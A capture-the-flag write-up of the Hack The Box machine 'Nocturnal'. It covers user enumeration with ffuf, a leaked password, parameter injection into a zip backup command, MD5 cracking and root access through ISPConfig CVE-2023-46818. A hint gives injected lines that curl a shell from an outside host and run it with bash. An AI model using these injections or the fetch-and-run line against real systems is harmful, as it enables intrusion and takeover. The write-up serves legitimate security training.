Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
| 256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_ 256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
nmap discovered the redirect to nocturnal.htb
on port 80 and therefore I add this to my /etc/hosts
file.
Initial Access
Browsing to the web page at http://nocturnal.htb
shows a welcome message to an upload service.
The service allows me to register a new account. After logging in I’m facing a upload form and trying to upload a PHP file (since the app is built with PHP) shows an error message. Apparently the upload feature is restricted to pdf, doc, docx, xls, xls, odt
.
Uploading any file with a valid extension works and a link shows up under Your Files. It goes to /view.php
and accepts the parameters username
and file
. Trying to access a non-existent file displays an error but also shows all the files associated with that username.
One of the features advertised for this service was related to collaboration and I might be able to list the files for other users if I can guess their username. With ffuf I’ll try to bruteforce valid usernames and find admin
, tobias
and amanda
.
$ ffuf -H 'Cookie: PHPSESSID=oaq1ism6btk80da26l566bpg6m' \
-u 'http://nocturnal.htb/view.php?username=FUZZ&file=doesnotexist.pdf' \
-w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt \
-fs 2985
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://nocturnal.htb/view.php?username=FUZZ&file=doesnotexist.pdf
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
:: Header : Cookie: PHPSESSID=oaq1ism6btk80da26l566bpg6m
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 2985
________________________________________________
admin [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 33ms]
amanda [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 40ms]
tobias [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 38ms]
Among those three users only amanda
has a file uploaded. It’s called privacy.odt
and might contain sensitive information. Opening the file reveals a message from the IT team to Amanda welcoming her and giving out the temporary password arHkG7HAI68X8s1J
.
Dear Amanda,
Nocturnal has set the following temporary password for you: arHkG7HAI68X8s1J. This password has been set for all our services, so it is essential that you change it on your first login to ensure the security of your account and our infrastructure.
The file has been created and provided by Nocturnal's IT team. If you have any questions or need additional assistance during the password change process, please do not hesitate to contact us.
Remember that maintaining the security of your credentials is paramount to protecting your information and that of the company. We appreciate your prompt attention to this matter.
Yours sincerely,
Nocturnal's IT team
The password does not work via SSH but allows me to login to the web application as amanda
. Apparently she’s part of the admin group and has access to the admin panel.
On there it’s possible to view the source of all the PHP files and create a password-protected backup. The code related to the backup feature in admin.php
requires the POST parameters backup
and password
. The password is checked for any blacklisted characters to prevent injection and then used directly in a Bash command.
<?php
session_start();
if (!isset($_SESSION['user_id']) || ($_SESSION['username'] !== 'admin' && $_SESSION['username'] !== 'amanda')) {
header('Location: login.php');
exit();
}
function sanitizeFilePath($filePath) {
return basename($filePath); // Only gets the base name of the file
}
// List only PHP files in a directory
function listPhpFiles($dir) {
$files = array_diff(scandir($dir), ['.', '..']);
echo "<ul class='file-list'>";
foreach ($files as $file) {
$sanitizedFile = sanitizeFilePath($file);
if (is_dir($dir . '/' . $sanitizedFile)) {
// Recursively call to list files inside directories
echo "<li class='folder'>📁 <strong>" . htmlspecialchars($sanitizedFile) . "</strong>";
echo "<ul>";
listPhpFiles($dir . '/' . $sanitizedFile);
echo "</ul></li>";
} else if (pathinfo($sanitizedFile, PATHINFO_EXTENSION) === 'php') {
// Show only PHP files
echo "<li class='file'>📄 <a href='admin.php?view=" . urlencode($sanitizedFile) . "'>" . htmlspecialchars($sanitizedFile) . "</a></li>";
}
}
echo "</ul>";
}
// View the content of the PHP file if the 'view' option is passed
if (isset($_GET['view'])) {
$file = sanitizeFilePath($_GET['view']);
$filePath = __DIR__ . '/' . $file;
if (file_exists($filePath) && pathinfo($filePath, PATHINFO_EXTENSION) === 'php') {
$content = htmlspecialchars(file_get_contents($filePath));
} else {
$content = "File not found or invalid path.";
}
}
function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}
return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
?>
// --- SNIP ---
<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';
$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";
$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];
$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}
sleep(2);
$logContents = file_get_contents($logFile);
if (strpos($logContents, 'zip error') === false) {
echo "<div class='backup-success'>";
echo "<p>Backup created successfully.</p>";
echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
echo "</div>";
} else {
echo "<div class='error-message'>Error creating the backup.</div>";
}
unlink($logFile);
}
}
?>
// --- SNIP ---
The source code in login.php
reveals the location of the SQLite3 database in use.
In a previous version the database was located alongside the scripts and could be downloaded via the backup directly.
<?php
session_start();
$db = new SQLite3('../nocturnal_database/nocturnal_database.db');
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
$stmt = $db->prepare("SELECT * FROM users WHERE username = :username");
$stmt->bindValue(':username', $username, SQLITE3_TEXT);
$result = $stmt->execute()->fetchArray();
if ($result && md5($password) === $result['password']) {
$_SESSION['user_id'] = $result['id'];
$_SESSION['username'] = $username;
header('Location: dashboard.php');
exit();
} else {
$error = 'Invalid username or password.';
}
}
?>
// --- SNIP ---
Even though the supplied password is checked for several different characters, it’s still possible inject parameters into the ZIP command. Instead of using space to separate values a tab can be used. This way I can include arbitrary files into the backup, like the database.
Setting the value of the password
parameter to test ./backups/ryuki.zip ../nocturnal_database/nocturnal_database.db #
creates a new ZIP file with just the database, protected by test, and then comments out the rest of the original command.
POST /admin.php?view=admin.php HTTP/1.1
Host: nocturnal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Origin: http://nocturnal.htb
Connection: keep-alive
Referer: http://nocturnal.htb/admin.php?view=admin.php
Cookie: PHPSESSID=rr65d0nv4du1s7c20oi6i8s9k5
Upgrade-Insecure-Requests: 1
Priority: u=0, i
password=test ./backups/ryuki.zip ../nocturnal_database/nocturnal_database.db %23&backup=
Hint
Instead of injecting parameters into the ZIP command, it’s also possible to run additional Bash commands by using a newline (%0a).
password=%0acurl http://10.10.10.10/shell -o /tmp/shell#&backup= password=%0abash /tmp/shell#&backup=
Downloading the backup from /backups/ryuki.zip
and unzipping it with the password test
works. Checking the database with sqlite3
shows two tables with one being users
and containing the usernames and passwords of all registered users.
$ sqlite3 nocturnal_database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
uploads users
sqlite> select * from users;
1|admin|d725aeba143f575736b07e045d8ceebb
2|amanda|df8b20aa0c935023f99ea58358fb63c4
4|tobias|55c82b1ccd55ab219b3b109b07d5061d
6|ryuki|cd1b8ecf103743a98958211a11e33b71
With the help of john the hash for tobias
cracks rather quickly and returns slowmotionapocalypse
as the cleartext password. This time the password works for SSH and I can read the first flag.
$ john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt --fork=10 hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Node numbers 1-10 of 10 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
slowmotionapocalypse (?)
--- SNIP ---
Privilege Escalation
Browsing the file system at /var/www
shows references to ISPConfig and there seems to be a PHP server running on port 8080
.
$ ls -la /var/www/
total 20
drwxr-xr-x 5 ispconfig ispconfig 4096 Mar 4 15:02 .
drwxr-xr-x 14 root root 4096 Oct 18 00:00 ..
drwxr-xr-x 2 root root 4096 Mar 4 15:02 html
lrwxrwxrwx 1 root root 34 Oct 17 02:37 ispconfig -> /usr/local/ispconfig/interface/web
drwxr-xr-x 4 www-data www-data 4096 Apr 13 15:20 nocturnal.htb
drwxr-xr-x 4 ispconfig ispconfig 4096 Oct 17 01:29 php-fcgi-scripts
$ ps auxwwww
--- SNIP ---
root 973 0.0 0.6 211568 27008 ? Ss 14:38 0:00 /usr/bin/php -S 127.0.0.1:8080
--- SNIP ---
Forwarding the port via SSH and accessing the port via a browser returns the login prompt to ISPConfig. The password for tobias
is also valid for the admin
user and I can access the dashboard.
The help reveals that version 3.2.10p1
is in use and a simple online search finds the vulnerability CVE-2023-46818 and a working PoC. Running the Python script while supplying the URL and the credentials drops me right into a pseudo-shell as root
.
python3 exploit.py http://127.0.0.1:8000 admin slowmotionapocalypse
[+] Target URL: http://127.0.0.1:8000/
[+] Logging in with username 'admin' and password 'slowmotionapocalypse'
[+] Injecting shell
[+] Launching shell
ispconfig-shell# whoami
root
Attack Path
flowchart TD subgraph "Initial Access" A(Access to Upload Service) -->|Enumerate valid users| B(List of users) B -->|Check for uploaded files| C(Document with initial password) C -->|Valid Credentials| D(Access to Admin Dashboard) D -->|Paramater Injection| E(Backup Database) D -->|Command Injection| G(Shell as www-data) E -->|Crack Hashes| F(Shell as tobias) G -->|Exfiltrate database| E end subgraph "Privilege Escalation" F -->|Password Reuse| H(Access to ISPConfig) H -->|CVE-2023-46818| I(Shell as root) end